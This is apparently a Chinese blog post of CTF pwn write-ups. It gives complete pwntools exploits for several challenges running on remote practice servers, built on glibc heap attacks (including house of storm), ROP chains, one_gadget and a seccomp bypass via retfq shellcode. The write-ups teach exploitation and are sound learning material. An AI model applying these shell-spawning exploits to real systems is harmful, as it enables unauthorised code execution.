当前位置: 首页 > news >正文

pwn手记录题1

fuzzerinstrospector(首届数字空间安全攻防大赛)

主体流程(相对比较简单,GLibc为常见的2.27版本,
在这里插入图片描述
Allocate申请函数(其中有两个输入函数Read_8Int、Read_context;
在这里插入图片描述
还存在着后门函数;
在这里插入图片描述
关键点在于如何利用Show函数来将地址泄露出来;
在这里插入图片描述
故此时我们可以利用"+"来跳过Allocate函数之中的8次循环输入,但是堆上的内容并没有被破坏;此时我们便可以利用栈上残留的libc地址指向堆中0x100(0x0~0xff)的内容,我们可以根据内容反推出libc地址;进而泄露了地址,故我们可以利用后门函数指向system函数;
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './fuzzerinstrospector'
#r = process(binary)
r = remote('39.105.185.193', 30007)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')def Allocate(index,payload='/bin/sh\x00',addr=0x0102030405060708,flag=True):r.sendlineafter("Your choice: ",'1')r.sendlineafter("Index: ",str(index))for i in range(8):if flag:r.sendlineafter("Index: "+str(i)+": ",'+')else:tmp = (addr & (0xff << (i*8) )) >> (i*8)r.sendlineafter("Index: "+str(i)+": ",str(tmp))r.sendlineafter("Bitmap: ",payload.ljust(0x100,'\x00'))def Edit(index,payload='/bin/sh\x00',addr=0x0102030405060708,flag=True):r.sendlineafter("Your choice: ",'2')r.sendlineafter("Index: ",str(index))for i in range(8):if flag:r.sendlineafter("Index: "+str(i)+": ",'+')else:tmp = (addr & (0xff << (i*8) )) >> (i*8)r.sendlineafter("Index: "+str(i)+": ",str(tmp))r.sendlineafter("Bitmap: ",payload.ljust(0x100,'\x00'))def Show(index):r.sendlineafter("Your choice: ",'3')r.sendlineafter("Index: ",str(index))addr = ""for i in range(8):r.recvuntil("Bit: ")addr = "" + hex(int(r.recvuntil("\n")[:-1]))[2:] + addrreturn int("0x"+addr,16)def Free(index):r.sendlineafter("Your choice: ",'4')r.sendlineafter("Index: ",str(index))Exit = lambda : r.sendlineafter("Your choice: ",'5')
Shell = lambda : r.sendlineafter("Your choice: ",'6')
spayload = ''
for i in range(0x100):spayload += chr(i)for i in range(9):Allocate(i)
for i in range(2,9):Free(i)
Free(0)
Free(1)
for i in range(7):Allocate(7-i)
Allocate(0,spayload)libc_base = Show(0)-624-0x10-libc.symbols['__malloc_hook']
system = libc_base+libc.symbols['system']Edit(0,addr=0x0068732f6e69622f,flag=False)
success(hex(libc_base))
#gdb.attach(r)
Shell()
pause()
r.sendline(str(system))r.interactive()

Easy Stack(星盟)

如下为程序的具体流程,比较简单,PIE保护开启但是Canary没有开启;

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[128]; // [rsp+0h] [rbp-80h] BYREFalarm(0x3Cu);setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);read_n(s, 256LL);puts(s);return 0;
}

通过ida调试,可以发现位于__libc_start_main函数中关键的gadget;(gdb暂时无法定位到__libc_start_main该函数,因为gdb将会直接去运行到main函数位置,并且开启了PIE保护,导致info无法查看到运行时有用的地址信息;
在这里插入图片描述
如下为gdb调试,我们可以发现如何利用该gadget;
在这里插入图片描述
故再次运行到main函数时,便可以修改返回地址为one_gadget,此时便可以获取权限;

在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './easy_stack'
#r = process(binary)
r = remote('nc.eonew.cn', 10004)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')#gdb.attach(r)
one = [0x415a6,0x415fa,0xdfa51]#[0x4f2c5,0x4f322,0x10a38c]
payload1 = b'a'*0x88+p8(0x80)
r.sendline(payload1)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0xe0-libc.symbols['__libc_start_main']
payload2 = b'a'*0x88+p64(libc_base+one[0])
pause()
r.sendline(payload2)
success(hex(libc_base))r.interactive()

No leak(星盟)

没有泄露函数,较为明显的ret2dl_resolve的漏洞;(ret2dl_resolve解析
但是却是Full RELRO保护,故几乎无法使用ret2dl_resolve这个漏洞了;

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[128]; // [rsp+0h] [rbp-80h] BYREFalarm(0x3Cu);read(0, buf, 0x100uLL);return 0;
}

目前的结果是,本地已通过libc2.27,但是远程还没有通过;(暂未知原因;
关键是利用的是
0x0000000000400518 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
这条指令来完成对其__exit_funcs_lock为system进而获取权限;

from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './no_leak'
r = process(binary)#    process([binary],env={"LD_PRELOAD":"/home/pwn/question/libc-2.27.so"})
#r = remote('nc.eonew.cn', 10002)
elf = ELF(binary)
libc = elf.libc
#libc = ELF('./libc-2.27.so')read_got = elf.got['read']
libc_start_main_addr = elf.got['__libc_start_main']
start_addr = 0x00400450
main_addr = 0x00400537
bss_addr = 0x0601010
one1 = 0x04005CA
one2 = 0x04005B0
libc_csu_init_addr = 0x0000000000400570
libc_csu_fini_addr = 0x00000000004005E0
pop_rbp_ret        = 0x00000000004004b8
pop_rdi_ret        = 0x00000000004005d3
pop_rsi_ret        = 0x00000000004005d1
add_rbp_ret        = 0x0000000000400518
leave_ret = 0x0400564
ret_addr = 0x0400565
#0x0000000000400518 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret#gdb.attach(r)
#r.recvuntil("preload end     ------------------------------\n")
payload1 = b'a'*0x80+p64(bss_addr+0x500)+flat([one1+1,1,read_got,0,bss_addr+0x500,0x100,one2])
payload1 += flat([0,0,bss_addr+0x500,0,0,0,0])+p64(leave_ret)
r.send(payload1.ljust(0x100,b'\x00'))pause()
payload2 = p64(0)+p64(one1)+flat([0,1,libc_start_main_addr,start_addr,libc_csu_fini_addr,libc_csu_init_addr,one2])+b'/bin/sh\x00'
r.send(payload2.ljust(0x100,b'\x00'))pause()
offset = 0xFFFFFFFFFFC5EE18# 0x3A11E8    ['__exit_funcs_lock']-['system']
payload3 = b'b'*0x80+p64(bss_addr+0x500)+flat([one1,offset,0x601450+0x3d,0,0,0,0,add_rbp_ret,start_addr])
r.send(payload3.ljust(0x100,b'\x00'))pause()
payload = b'/bin/sh\x00'+b'c'*0x80+flat([ret_addr,one1,0,1,0x601450,0x601558,libc_csu_fini_addr,libc_csu_init_addr,one2])
r.send(payload)r.interactive()

调试过程:

  1. 第一步,利用栈溢出布置万能gadget,写入bss段上内容,然后再次利用leave;ret指令,使栈迁移到bss段上;
    在这里插入图片描述
    在这里插入图片描述
  2. 第二步,此时栈跳转到了bss段上,利用第二次输入,布局bss段共上内容,再次利用万能gadget跳转到__libc_start_main函数上;
    注意: 跳转到start上不可以,如果跳转到start上,栈上将没有太多的关于libc的地址;
    在这里插入图片描述
  3. 第三步,断掉于main函数,直接运行至此,然后我们此时再次输入布局栈上,利用万能gadget1与上面提到的关键gadget结合来修改__exit_funcs_lock为system
    在这里插入图片描述
  4. 第四步,利用万能gadget布局寄存器并跳转至system函数,进而执行system(“/bin/sh\x00”); 如果发现没有获取权限,则加入ret指令进行平衡栈即可;
    在这里插入图片描述

shellcode(星盟)

这道题目感觉还好,当时做的时候也并不是一帆风顺的;

pwn@pwn-virtual-machine:~/question$ seccomp-tools dump ./shellcode 
---------- Shellcode ----------
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000  A = sys_number
0001: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025  if (A == alarm) goto 0008
0003: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0008
0004: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000  return KILL
0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW

此时发现为64位程序,并且存在着保护;并通过ida查看伪代码发现:

v6 = sys_write(1u, "Input your shellcode: ", 0x16uLL);
v7 = sys_read(0, v5, 0x1000uLL);
v8 = v7;
if ( v5[(int)v7 - 1] == 10 )
{v5[(int)v7 - 1] = 0;v8 = v7 - 1;
}
for ( i = 0; i < v8; ++i )
{if ( v5[i] <= 31 || v5[i] == 127 ){v10 = sys_write(1u, "Check!\n", 7uLL);goto LABEL_10;}
}
((void (*)(void))v5)();
LABEL_10:v11 = sys_exit_group(0);

我们可以看到v5数组进行排查我们所输入的shellcode,条件是v5[i] <= 31 || v5[i] == 127;实际上这里ida分析错误啦,应该是v5[i] <= 31 || v5[i] < 127,通过查看汇编可以发现大于0x80实际为负数(符号位置1了),相当于在v5[i] <= 31这个条件之中;
然后我就开始思考常规orw之中缺失了o条件该怎么办?当时我一直以为需要通过fstat函数来得到flag的文件标识符;但是通过查阅资料发现fstat函数的参数为文件标识符,返回为结构体(文件标识符所指向文件的信息);故我开始思考,如果传入fstat函数之中的参数是0、1、2(stdin、stdout、stderr)呢?我通过测试,发现成功了,但是返回的内容对于获取flag并没有帮助,返回了一些文件信息等无用的信息。那能通过这些东西得到flag吗?
卡住了;不过发现了几遍文章,其中存在着解析,将其引向了retfq该指令,该指令意思是64位与32位之间进行跳转,而syscall_fstat的rax为5,32位之中的open的syscall_number同样为5;
此时orw俱全,便是常规orw的套路;不过编写shellcode的时候废了好大劲,调试了好久;

在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux')binary = './shellcode'
#r = process(binary)
r = remote('nc.eonew.cn','10011')
elf = ELF(binary)shellcode_mmep = '''
/* sys_mmap(0LL, 0x1000uLL, 7uLL, 0x22uLL, 0xFFFFFFFFuLL, 0LL); */
/* sys_mmap(0x60606060,0x7e,7,0x22,0,0) */push 0x60606060;pop rdi;            /* rdi */push 0x7e;pop rsi;            /* rsi */push 47;pop rax;xor al,40;push rax;pop rdx;            /* rdx */push 0x20;pop rax;xor al,0x20;        /* rax */push rax;pop r8;             /* r8  */push rax;pop r9;             /* r9  *//*  syscall  */push rbx;pop rax;push 93;pop rcx;xor byte ptr[rax+0x31],cl;push 95;pop rcx;xor byte ptr[rax+0x32],cl;push 0x40;          /* rax */pop rax;xor al,0x49;push 0x22;pop rcx;            /* rcx */
/*  syscall替换  */push rdx;pop rdx;
'''
shellcode_mmep = asm(shellcode_mmep,arch='amd64',os='linux')shellcode_read = '''
/* sys_read(0, v5, 0x1000uLL); */
/* sys_read(0, rax, 0x7e); */push rsi;pop rdx;           /* rdx */push 0x60606060;pop rsi;           /* rsi */push 0x20;pop rax;xor al,0x20;push rax;pop rdi;           /* rdi *//*  syscall  */push rbx;pop rax;push 93;pop rcx;xor byte ptr[rax+0x55],cl;push 95;pop rcx;xor byte ptr[rax+0x56],cl;push 0x20;pop rax;xor al,0x20;       /* rax */
/*  syscall替换  */push rdx;pop rdx;
'''
shellcode_read = asm(shellcode_read,arch='amd64',os='linux')shellcode_retfq = '''
/*  retfq=cb48  */push rbx;pop rax;push 54;pop rcx;xor byte ptr[rax+0x6c],cl;push 0x55;pop rcx;sub byte ptr[rax+0x6d],clpush 0x23push 0x60606060
/*  syscall替换  */
/*  0x7e    */
/*  0x20    */
'''
shellcode_retfq = asm(shellcode_retfq,arch='amd64',os='linux')
#===================第二阶段shellcode===================
shellcode_open = '''
/* rax = open("flag") */mov esp,0x60606160;push 0x67616c66;push esp;pop ebx;xor ecx,ecx;mov eax,5;int 0x80;mov ecx,eax;
/* 调整至64位 */push 0x33;push 0x60606090;
/*  0x48 0xcb  */
'''
shellcode_open = asm(shellcode_open,arch='i386')shellcode_flag = '''
/* sys_read(rax,rsp,0x50); */
/* sys_write(1,rsp,0x50); */mov rdi,rcx;mov rsi,rsp;mov rdx,0x50;xor rax,rax;syscall;                /* sys_read  */mov rdi,1;mov rax,1;syscall;                /* sys_write */
'''
shellcode_flag = asm(shellcode_flag,arch='amd64',os='linux')#gdb.attach(r,'b *0x004002EB')
payload1 = shellcode_mmep+shellcode_read+shellcode_retfq+b'\x7e\x20'
print(payload1)
r.send(payload1)pause()
payload2 = shellcode_open+b'\x48\xcb'+b'\x90'*0x10+shellcode_flag
r.send(payload2)r.interactive()

注意:
避免ararm关闭程序,可以如下操作
在这里插入图片描述
参考链接:

  1. https://www.jianshu.com/p/754b0a2ae353
  2. https://xz.aliyun.com/t/6645#toc-4
  3. https://www.cnblogs.com/countfatcode/p/11756258.html

House of Storm(星盟)

主体流程比较简单,而且是libc2.23较旧版本的glibc;
在这里插入图片描述
看下new_environment函数是个什么东东?
在这里插入图片描述
我们发现了一个函数change_addr函数,其实就是PIE,本题开启了PIE保护,但是却又多此一举改变了地址,不懂;
在这里插入图片描述
如下,较为成功,而且难度不大;
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './house_of_storm'
#r = process(binary)
r = remote('nc.eonew.cn', 10001)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.23.so')def Allocate(size):r.sendlineafter("Your choice?\n",'1')r.sendlineafter("What size do you want?\n",str(size))def Free(index):r.sendlineafter("Your choice?\n",'2')r.sendlineafter("delete?\n",str(index))def Edit(index,payload=b'/bin/sh\x00'):r.sendlineafter("Your choice?\n",'3')r.sendlineafter("to modify?\n",str(index))r.sendafter("to input?\n",payload)def Show(index):r.sendlineafter("Your choice?\n",'4')r.sendlineafter("to see?\n",str(index))Exit = lambda : r.sendlineafter("Your choice?\n",'5')Allocate(0x18)#0
Allocate(0x408)#1       0020    largebin
Allocate(0x18)#2
Allocate(0x418)#3       0450    unsortedbin
Allocate(0x18)#4
Free(1)
Free(3)
#========================leak========================
Show(1)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x68
libc_base = malloc_hook-libc.symbols['__malloc_hook']
Show(3)
heap_addr = u64(r.recv(6).ljust(8,b'\x00'))-0x20
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']
#=======================attack=======================
Allocate(0x418)#5       0450
Free(5)
fake_largebin = flat([malloc_hook+0x458,free_hook-0x10+8,heap_addr+0x20,free_hook-0x10-0x18-5])
fake_chunk = p64(malloc_hook+0x68)+p64(free_hook-0x10)
Edit(1,fake_largebin)
Edit(5,fake_chunk)Allocate(0x48)#6
Edit(6,p64(system))
Edit(0)
Free(0)
success("heap_addr ->"+hex(heap_addr))
success("libc_base -> "+hex(libc_base))
#gdb.attach(r)r.interactive()

典型的house_of_storm例子:(不懂原理照猫画虎都能做出来pwn题;

// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {unsigned long  presize;unsigned long  size;unsigned long  fd;unsigned long  bk;unsigned long  fd_nextsize;unsigned long  bk_nextsize;
}chunk;int main()
{unsigned long *large_chunk,*unsorted_chunk;unsigned long *fake_chunk = (unsigned long *)&chunk;char *ptr;unsorted_chunk=malloc(0x418);malloc(0X20);large_chunk=malloc(0x408);malloc(0x20);free(large_chunk);free(unsorted_chunk);unsorted_chunk=malloc(0x418);  //large_chunk归位free(unsorted_chunk);  // unsorted_chunk归位//重点一下3步unsorted_chunk[1] = (unsigned long )fake_chunk;large_chunk[1]    = (unsigned long )fake_chunk+8;large_chunk[3]    = (unsigned long )fake_chunk-0x18-5;ptr=malloc(0x48);strncpy(ptr, "/bin/sh\x00", 0x10);system(((char *)fake_chunk + 0x10));return 0;
}

然后再看源码找找原理是怎么一回事?

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){//首先伪造unsorted_chunks (av)的bk指向fake_chunk,那么将会进入到此循环bck = victim->bk;//相当于bck = fake_chunk		而victim为unsorted_chunkif (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)|| __builtin_expect (victim->size > av->system_mem, 0))malloc_printerr (check_action, "malloc(): memory corruption",chunk2mem (victim), av);size = chunksize (victim);/*如果是小请求,请尝试使用最后的余数(如果是只有未排序的箱子中的区块。这有助于促进连续小请求的运行。这是唯一的最佳拟合例外,仅当存在不适合一小块.*//*	需要是smallbin范围内&bck不是unsorted_chunks链头&victim为last_remainder指针指向&size容量足够	*/if (in_smallbin_range (nb) &&bck == unsorted_chunks (av) &&victim == av->last_remainder &&(unsigned long) (size) > (unsigned long) (nb + MINSIZE)){''''''}/* remove from unsorted list */unsorted_chunks (av)->bk = bck;//unsorted_chunks (av)->bk = fake_chunk;bck->fd = unsorted_chunks (av);//fake_chunk+0x10 = unsorted_chunks (av)/* Take now instead of binning if exact fit *//* 如果unsorted_chunk的size恰好与申请的size相同 */if (size == nb){''''''}/* place chunk in bin *//* 如果unsorted_chunk的size位于smallbin的范围内 */if (in_smallbin_range (size)){''''''}else// unsorted_chunk的size位于largebin的范围内 {victim_index = largebin_index (size);//获取size对应的largebin的indexbck = bin_at (av, victim_index);//bck指向size对应的largebin的链头fwd = bck->fd;//相当于 fwd = largebin;/* maintain large bins in sorted order */if (fwd != bck)//如果largebin非空,则执行链入操作{/* Or with inuse bit to speed comparisons */size |= PREV_INUSE;/* if smaller than smallest, bypass loop below */assert ((bck->bk->size & NON_MAIN_ARENA) == 0);if ((unsigned long) (size) < (unsigned long) (bck->bk->size))//如果unsorted_chunk的size小于largebin->bk->size;相当于是fake_chunk->size{''''''}else{assert ((fwd->size & NON_MAIN_ARENA) == 0);while ((unsigned long) size < fwd->size)//使unsorted的size大于largebin->size;防止进入死循环{fwd = fwd->fd_nextsize;assert ((fwd->size & NON_MAIN_ARENA) == 0);}if ((unsigned long) size == (unsigned long) fwd->size)//如果恰好相等,则无需修改fd_nextsize与bk_nextsize''''''else{victim->fd_nextsize = fwd;//unsorted_chunk->fd_nextsize = largbin_chunk;victim->bk_nextsize = fwd->bk_nextsize;//unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize;//相当于unsorted_chunk->bk_nextsize = fake_chunk+0x18-5fwd->bk_nextsize = victim;//largbin_chunk->bk_nextsize = unsorted_chunk;victim->bk_nextsize->fd_nextsize = victim;//(fake_chunk+0x18-5)->fd_nextsize = unsorted_chunk;//相当于fake_chunk+0x3 = unsorted_chunk;}bck = fwd->bk;//bck = largbin_chunk->bk;相当于bck = fake_chunk+0x8}}elsevictim->fd_nextsize = victim->bk_nextsize = victim;}mark_bin (av, victim_index);//把unsorted_chunk加入到的bin的表示为非空victim->bk = bck;//unsorted_chunk->bk = largbin_chunk->bk;//*相当于unsorted_chunk->bk = fake_chunk+0x8victim->fd = fwd;//unsorted_chunk->fd = largbin_chunk;fwd->bk = victim;//largbin_chunk->bk = unsorted_chunk;bck->fd = victim;//largbin_chunk->bk->fd = unsorted_chunk;//fake_chunk+0x18 =  unsorted_chunk#define MAX_ITERS       10000if (++iters >= MAX_ITERS)break;}

第27、28行unsorted_chunks (av)->bk = bck;以及bck->fd = unsorted_chunks (av);,将fake_chunk链入到了unsortedbin之中了,并且伪造了fake_chunk的fd指针指向unsortedbin;
第77行victim->bk_nextsize->fd_nextsize = victim;伪造了fake_chunk的size域;
第92行bck->fd = victim;伪造了fake_chunk的bk;
到此完好的链入了unsortedbin之中一块伪造的任意地址fake_chunk;

参考链接:house_of_storm详解


相关文章:

pwn手记录题1

fuzzerinstrospector(首届数字空间安全攻防大赛) 主体流程&#xff08;相对比较简单&#xff0c;GLibc为常见的2.27版本&#xff0c; Allocate申请函数&#xff08;其中有两个输入函数Read_8Int、Read_context&#xff1b; 还存在着后门函数&#xff1b; 关键点在于如何利用…...

自动驾驶规划 - Apollo Lattice Planner算法【1】

文章目录Lattice Planner简介Lattice Planner 算法思路1. 离散化参考线的点2. 在参考线上计算匹配点3. 根据匹配点&#xff0c;计算Frenet坐标系的S-L值4. parse the decision and get the planning target5. 生成横纵向采样路径6. 轨迹cost值计算&#xff0c;进行碰撞检测7. 优…...

以太坊数据开发-Web3.py-安装连接以太坊数据

Web3.py是连接以太坊的python库&#xff0c;它的API从web3.js中派生而来。如果你用过web3.js&#xff0c;你会对它的API很熟悉。但惭愧的是&#xff0c;作为一个以太坊上Dapp的开发者&#xff0c;我几乎没有直接使用过web3.js&#xff0c;也没有看过它的API。 官网&#xff1a…...

【触摸屏功能测试】MQTT_STD本地调试说明-测试记录

1、MQTT简介 MQTT是一种基于发布/订阅模式的“轻量级”通讯协议。它是针对受限的、低带宽的、高延迟的、网络不可靠的环境下的网络通讯设备设计的。 发布是指客户端将消息传递给服务器&#xff0c;订阅是指客户端接收服务器推送的消息。每个消息有一个主题&#xff0c;包含若干…...

六十分之十三——黎明前

目录一、目标二、计划三、完成情况四、提升改进(最少3点)五、意外之喜(最少2点)六、总结一、目标 明确可落地&#xff0c;对于自身执行完成需要一定的努力才可以完成的 1.8本技术管理书籍阅读(使用番茄、快速阅读、最后输出思维导图)2.吴军系列硅谷来信1听书、香帅的北大金融…...

【Call for papers】CRYPTO-2023(CCF-A/网络与信息安全/2023年2月16日截稿)

Crypto 2023 will take place in Santa Barbara, USA on August 19-24, 2023. Crypto 2023 is organized by the International Association for Cryptologic Research (IACR). The proceedings will be published by Springer in the LNCS series. 文章目录1.会议信息2.时间节…...

线程的信号量和互斥量

文章目录线程的信号量初始化信号量&#xff1a;sem_init减少信号量&#xff1a;sem_wait增加信号量&#xff1a;sem_post删除信号量&#xff1a;sem_destroy代码示例线程的互斥量初始化互斥量&#xff1a;pthread_mutex_init锁住互斥量&#xff1a;pthread_mutex_lock解锁互斥量…...

关于Linux,开源社区与国产化的本质区别

因为生产力驱动而非理想主义驱动。 开源运动的蓬勃发展来自于GNU(GNU is not unix)&#xff0c;RichardMatthewStallman领导着一群黑客&#xff0c;带着对比尔盖茨的鄙视&#xff0c;制定了GPL协议&#xff0c;以后人人都能从伟大的前人身上学习到源代码的精髓&#xff0c;让软…...

Win11下Linux子系统迁移方法及报错解决

Win11 将Linux子系统从C盘迁移到其他盘Win11下Linux子系统迁移方法及报错解决1、下载LxRunOffline2、ERROR&#xff1a;directory is not empty 报错解决参考链接Win11下Linux子系统迁移方法及报错解决 C盘满了&#xff0c;Ubuntu子系统占了100多G怎么办&#xff1f;直接将子系…...

python维护的一些基础方法

1】通过命令行查看python安装库的基本信息 pip show numpy # 查看python中numpy库的安装版本信息 2】python 环境的开发与维护 python的开发与C\MATLAB等最大的不同就是&#xff0c;python中版本的更新不对历史版本负责&#xff0c;就是说你以历史版本开发的python程序&#…...

C语言 数组元素的指针

1.一个变量有地址&#xff0c;一个数组包含若干个元素&#xff0c;每个数组元素都在内存中占用存储单元&#xff0c;它们都有相应的地址。 2.指针变量既然可以指向变量&#xff0c;当然也可以指向数组元素&#xff08;把某一元素的地址放入一个指针变量中&#xff09;。 3.所谓…...

(C语言)指针进阶

问&#xff1a;1. ( )&#xff0c;[ ]&#xff0c;->&#xff0c;&#xff0c;--&#xff0c;. &#xff0c;&#xff0a;的操作符优先级是怎么样的&#xff1f;2. Solve the problems&#xff1a;只有一个常量字符串与一个字符指针&#xff0c;该怎么打印常量字符串所有内容…...

DS期末复习卷(三)

选择题 某数据结构的二元组形式表示为A(D&#xff0c;R)&#xff0c;D{01&#xff0c;02&#xff0c;03&#xff0c;04&#xff0c;05&#xff0c;06&#xff0c;07&#xff0c;08&#xff0c;09}&#xff0c;R{r}&#xff0c;r{<01&#xff0c;02>&#xff0c;<01&a…...

Java链表模拟实现+LinkedList介绍

文章目录一、模拟实现单链表成员属性成员方法0&#xff0c;构造方法1&#xff0c;addFirst——头插2&#xff0c;addLast——尾插3&#xff0c;addIndex——在任意位置插入3.1&#xff0c;checkIndex——判断index合法性3.2&#xff0c;findPrevIndex——找到index-1位置的结点…...

MySQL——单表、多表查询

一、单表查询 素材&#xff1a; 表名&#xff1a;worker-- 表中字段均为中文&#xff0c;比如 部门号 工资 职工号 参加工作 等 CREATE TABLE worker ( 部门号 int(11) NOT NULL, 职工号 int(11) NOT NULL, 工作时间 date NOT NULL, 工资 float(8,2) NOT NULL, 政治面貌 varcha…...

关于表的操作 数据库(3)

目录 前期准备工作&#xff1a; 一、单表查询&#xff1a; 二、多表查询&#xff1a; 前期准备工作&#xff1a; 修改数据库的配置文件&#xff0c;&#xff0c;使其可以显示库名&#xff0c;其中//d代表当前使用的数据库名 注&#xff1a;vim /etc/my.cnf.d/mysql-server.c…...

C++:红黑树

红黑树的概念 红黑树是一棵二叉搜索树&#xff0c;但是红黑树通过增加一个存储位表示结点的颜色RED或BLACK。通过对任何一条从根到叶子的路径上各个结点着色方式的限制&#xff0c;红黑树确保没有一条路径会比其他路径长出2倍&#xff0c;因而是接近平衡的。 红黑树的性质 ⭐…...

每天一道算法题の中缀表达式

中缀表达式&#xff08;、-、*、/&#xff09; &#xff1a;中缀表达式是指操作符位于操作数之间的数学表达式。例如&#xff0c;在中缀表达式"2 3"中&#xff0c;操作符""位于操作数"2"和"3"之间。现给定一个中缀表达式&#xff0c…...

Dar语法基础-泛型

泛型 如果查看基本数组类型 List 的 API 文档&#xff0c;您会发现该类型实际上是 List<E>。 <…> 表示法将 List 标记为泛型&#xff08;或参数化&#xff09;类型——具有正式类型参数的类型。 按照惯例&#xff0c;大多数类型变量的名称都是单字母的&#xff0…...

rt-thread------串口(一)配置

系列文章目录 rt-thread 之 fal移植 rt-thread 之 生成工程模板 文章目录系列文章目录前言一、串口的配置step1&#xff1a;通过串口名字找到串口句柄step2&#xff1a;配置串口参数step3&#xff1a;设置串口接收回调函数step4&#xff1a;打开串口设备前言 UART&#xff08…...

Android - 自动系统签名

一、系统签名 以下是两类应用开发场景&#xff1a; 普通应用开发&#xff1a;使用公司自定义 keystore 进行签名&#xff0c;如&#xff1a;微信、支付宝系统应用开发&#xff1a;使用 AOSP 系统签名或厂商自定义 keystore 进行签名&#xff0c;如&#xff1a;设置、录音 系…...

SSH 服务详解 (八)-- vscode 通过 SSH 远程连接 linux 服务器

vscode 通过 SSH 远程连接 linux 服务器 SSH服务详解(一)–Linux SSH 服务器与客户端的安装与启动 SSH服务详解(二)–使用私钥登录 SSH 服务器(免密登录) SSH 服务详解 (三)-- 使用 SSH 代理 SSH 服务详解 (四)-- 本地调用远程主机的命令 SSH 服务详解 (五)-- 远程文件拷贝…...

【PTA Advanced】1060 Are They Equal(C++)

目录 题目 Input Specification: Output Specification: Sample Input 1: Sample Output 1: Sample Input 2: Sample Output 2: 思路 C 知识点UP 代码 题目 If a machine can save only 3 significant digits, the float numbers 12300 and 12358.9 are considered …...

仿真与测试:通过Signal Builder模块生成输入信号

本文研究通过Signal Builder模块生成输入信号的方法。 文章目录1 生成输入信号2 仿真过程2.1 搭建被测模型2.2 搭建Signal Builder输入模块2.3 配置仿真log及仿真3 总结1 生成输入信号 在汽车的电控软件开发中&#xff0c;经常会在Simulink模型内部进行单元测试。单元测试的本…...

云计算培训靠谱吗?

怎么算靠谱的培训呢&#xff1f; 举个例子&#xff1a; 我想参加云计算培训找个工作&#xff0c;机构满足了我的要求&#xff0c;有工作了&#xff0c;但是不是做云计算相关的。 小强也参加了云计算培训&#xff0c;想学好云计算成为技术大牛&#xff0c;最后专业学得普普通…...

力扣SQL刷题10

目录标题618. 学生地理信息报告--完全不会的新题型1097. 游戏玩法分析 V - 重难点1127. 用户购买平台--难且不会618. 学生地理信息报告–完全不会的新题型 max()函数的功效&#xff1a;&#xff08;‘jack’, null, null&#xff09;中得出‘jack’&#xff0c;&#xff08;nul…...

31 岁生日快乐,Linux!

Linux 迎来了 31 岁生日&#xff0c;所以和我一起庆祝 Linux 的 31 岁生日吧&#xff0c;喝上一杯好香槟和一个美味的蛋糕&#xff01;虽然有些人不承认 8 月 25 日是 Linux 的生日&#xff0c;但我知道。1991 年 8 月 25 日&#xff0c;21 岁的芬兰学生 Linus Benedict Torval…...

分布式ID生成方案

文章目录前言一、分布式ID需要满足的条件二、分布式ID生成方式基于UUID数据库自增数据库集群数据库号段模式redis ID生成基于雪花算法&#xff08;Snowflake&#xff09;模式百度&#xff08;uid-generator&#xff09;美团&#xff08;Leaf&#xff09;滴滴&#xff08;Tinyid…...

合宙Air103|fbd数据库| fskv - 替代fdb库|LuatOS-SOC接口|官方demo|学习(16):类redis的fbd数据库及fskv库

基础资料 基于Air103开发板&#xff1a;&#x1f697; Air103 - LuatOS 文档 上手&#xff1a;开发上手 - LuatOS 文档 探讨重点 对官方社区库接口类redis的fbd数据库及fskv库的调用及示例进行复现及分析&#xff0c;了解两库的基本原理及操作方法。 软件及工具版本 Luat…...

【论文精读】Deep Residual Learning for Image Recognition

1 Degradation Problem&#x1f4a6; 深度卷积神经网络在图像分类方面取得了一系列突破。深度网络自然地将低/中/高级特征和分类器以端到端的多层方式集成在一起&#xff0c;特征的“层次”可以通过堆叠层数(深度)来丰富。最近的研究揭示了网络深度是至关重要的&#xff0c;在具…...

网站建设的空间选择/手机端seo

为什么阿里巴巴的持久层抛弃hibernate&#xff0c;采用MyBatis框架&#xff1f; 原因大概有以下4点&#xff1a; 尤其是需要处理大量数据或者大并发情况的网站服务&#xff0c;这也阿里选择MyBatis的原因。 MyBatis整体架构 不多讲&#xff0c;先看目录图 MyBatis源码笔记文档…...

关于设计的网站/百度学术免费查重入口

1&#xff0c;hbase 全称&#xff1a;hadoop dataBase ,即hadoop数据库 2&#xff0c;使用场景&#xff1a;大数据量&#xff0c;准实时查询 3&#xff0c;特点&#xff1a;面向列&#xff0c;支持独立索引&#xff0c;每个列支持存储多版本&#xff0c;稀疏性&#xff1a;空…...

dw网站导航怎么做/关键词优化怎么弄

